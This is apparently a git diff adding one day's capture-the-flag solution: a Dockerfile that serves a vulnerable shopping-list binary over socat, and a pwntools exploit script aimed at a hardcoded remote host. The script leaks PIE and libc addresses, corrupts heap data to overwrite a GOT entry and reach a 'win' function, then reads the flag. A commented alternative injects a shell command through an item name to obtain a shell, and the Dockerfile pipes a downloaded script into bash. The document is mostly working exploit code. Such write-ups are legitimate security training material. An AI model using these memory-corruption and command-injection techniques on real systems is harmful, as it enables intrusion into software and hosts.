diff --git a/Day 21/Dockerfile b/Day 21/Dockerfile
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index 0000000..75c35da
--- /dev/null
+++ b/Day 21/Dockerfile	
@@ -0,0 +1,10 @@
+FROM docker.io/library/ubuntu:23.04
+
+RUN apt update && apt -y upgrade curl python3 gdb binutils elfutils file && bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
+RUN apt install -y socat
+
+COPY . .
+
+RUN chmod +x vuln
+
+ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./vuln\""]
diff --git a/Day 21/exploit.py b/Day 21/exploit.py
new file mode 100755
index 0000000..e13bf2e
--- /dev/null
+++ b/Day 21/exploit.py	
@@ -0,0 +1,198 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template '--host=152.96.15.5' '--port=1337' vuln
+from pwn import *
+from hackingscripts import util
+from pyzbar.pyzbar import decode
+from PIL import Image
+import re
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF(args.EXE or 'vuln')
+libc = ELF("./libc.so.6", checksec=False)
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
+host = args.HOST or '152.96.15.5'
+port = int(args.PORT or 1337)
+ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])'.encode())
+
+def start_local(argv=[], *a, **kw):
+    '''Execute the target binary locally'''
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+def start_remote(argv=[], *a, **kw):
+    '''Connect to the process on the remote host'''
+    io = connect(host, port)
+    if args.GDB:
+        gdb.attach(io, gdbscript=gdbscript)
+    return io
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.LOCAL:
+        return start_local(argv, *a, **kw)
+    else:
+        return start_remote(argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+tbreak main
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    Full RELRO
+# Stack:    Canary found
+# NX:       NX enabled
+# PIE:      PIE enabled
+
+def save_shopping_list(file_name):
+
+    if isinstance(file_name, str):
+        file_name = file_name.encode()
+
+    io.recvuntil(b"> ")
+    io.sendline(b"s")
+    io.recvuntil(b"> ")
+    io.sendline(file_name)
+
+def add_item(item_name, item_count):
+
+    if isinstance(item_name, str):
+        item_name = item_name.encode()
+
+    io.recvuntil(b"> ")
+    io.sendline(b"a")
+    io.recvuntil(b"> ")
+    io.sendline(item_name)
+    io.recvuntil(b"> ")
+    io.sendline(str(item_count).encode())
+
+def send_quit():
+    io.recvuntil(b"> ")
+    io.sendline(b"q")
+
+def change_quantity(item_name, new_quantity):
+
+    io.recvuntil(b"> ")
+    io.sendline(b"c")
+
+    if isinstance(item_name, str):
+        item_name = item_name.encode()
+
+    io.recvuntil(b"> ")
+    io.sendline(item_name)
+    io.recvuntil(b"> ")
+    io.sendline(str(new_quantity).encode())
+    leak = io.recvline()
+    match = re.search(r"You've found my little secret, as a reward you will get: (.*)", leak.decode())
+    return int(match[1], 16)
+
+def edit_item(item_name, new_name):
+
+    if isinstance(item_name, str):
+        item_name = item_name.encode()
+    if isinstance(new_name, str):
+        new_name = new_name.encode()
+
+    io.recvuntil(b"> ")
+    io.sendline(b"e")
+    io.recvuntil(b"> ")
+    io.sendline(item_name)
+    io.recvuntil(b"> ")
+    io.sendline(new_name)
+
+def list_items():
+    io.recvuntil(b"> ")
+    io.sendline(b"l")
+
+    items = []
+    while True:
+        line = ansi_escape.sub(b'', io.recvline())
+        match = re.match(r" - (\d+)x (.*)".encode(), line)
+        if match:
+            items.append((int(match[1]), match[2]))
+        elif b"What do you want to do?" in line:
+            break
+
+    return items
+
+def unicode_to_img(unicode):
+    lines = unicode.split(b"\n")
+    qr_size = len(lines) * 2 - 1
+    pix_size = 10
+    img = Image.new("RGB", (qr_size*pix_size, qr_size*pix_size))
+    pix = img.load()
+
+    color_map =  {
+        "█": [(0, 0, 0), (0, 0, 0)],
+        "▀": [(0, 0, 0), (255, 255, 255)],
+        "▄": [(255, 255, 255), (0, 0, 0)],
+        " ": [(255, 255, 255), (255, 255, 255)],
+        "\xa0": [(255, 255, 255), (255, 255, 255)],
+    }
+
+    for ri, line in enumerate(lines):
+        for ci, b in enumerate(line.decode()):
+            color_top, color_bottom = color_map[b]
+            for xi in range(pix_size):
+                for yi in range(pix_size):
+                    pix[ci*pix_size+yi,ri*2*pix_size+xi] = color_top
+                    if ri < len(lines) - 1:
+                        pix[ci*pix_size+yi,ri*2*pix_size+pix_size+xi] = color_bottom
+    return img
+
+io = start()
+secret_name = "a"*1337
+add_item(secret_name, 1)
+leak = change_quantity(secret_name, 2)
+print("[+] Got leak:", hex(leak))
+exe.address = leak - exe.symbols["win"]
+print("[+] PIE base:", hex(exe.address))
+add_item("AAAA", 1000)
+add_item("BBBB", 1000)
+edit_item("BBBB", 0x80 * b"B" + p64(exe.got["puts"]))
+
+items = list_items()
+heap_leak = u64(util.pad(items[-1][1], 8))
+libc.address = heap_leak - libc.symbols["puts"]
+print("[+] LIBC base:", hex(libc.address))
+
+edit_item("AAAA", (0x80 + 0x80) * b"A" + p64(libc.address + 0x1f60a8))
+items = list_items()
+strchrnul_func = u64(util.pad(items[-1][1], 8))
+print('[+] strchrnul@plt:', hex(strchrnul_func))
+edit_item(p64(strchrnul_func), p64(exe.symbols["win"]))
+io.recvuntil(b"[q]uit\n")
+io.sendline(b"cat /flag && exit")
+qr_code = io.recvall()
+io.close()
+img = unicode_to_img(qr_code)
+print("[+] Flag:", decode(img)[0].data.decode())
+
+### Unintended solution:
+# io = start()
+# add_item("$(cp /bin/sh vuln)", 1)
+# save_shopping_list("vuln")
+# send_quit()
+# io.close()
+
+# io = start()
+# io.close()
+
+# io = start()
+# io.interactive()
+###
\ No newline at end of file
diff --git a/Day 21/libc.so.6 b/Day 21/libc.so.6
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diff --git a/Day 21/vuln b/Day 21/vuln
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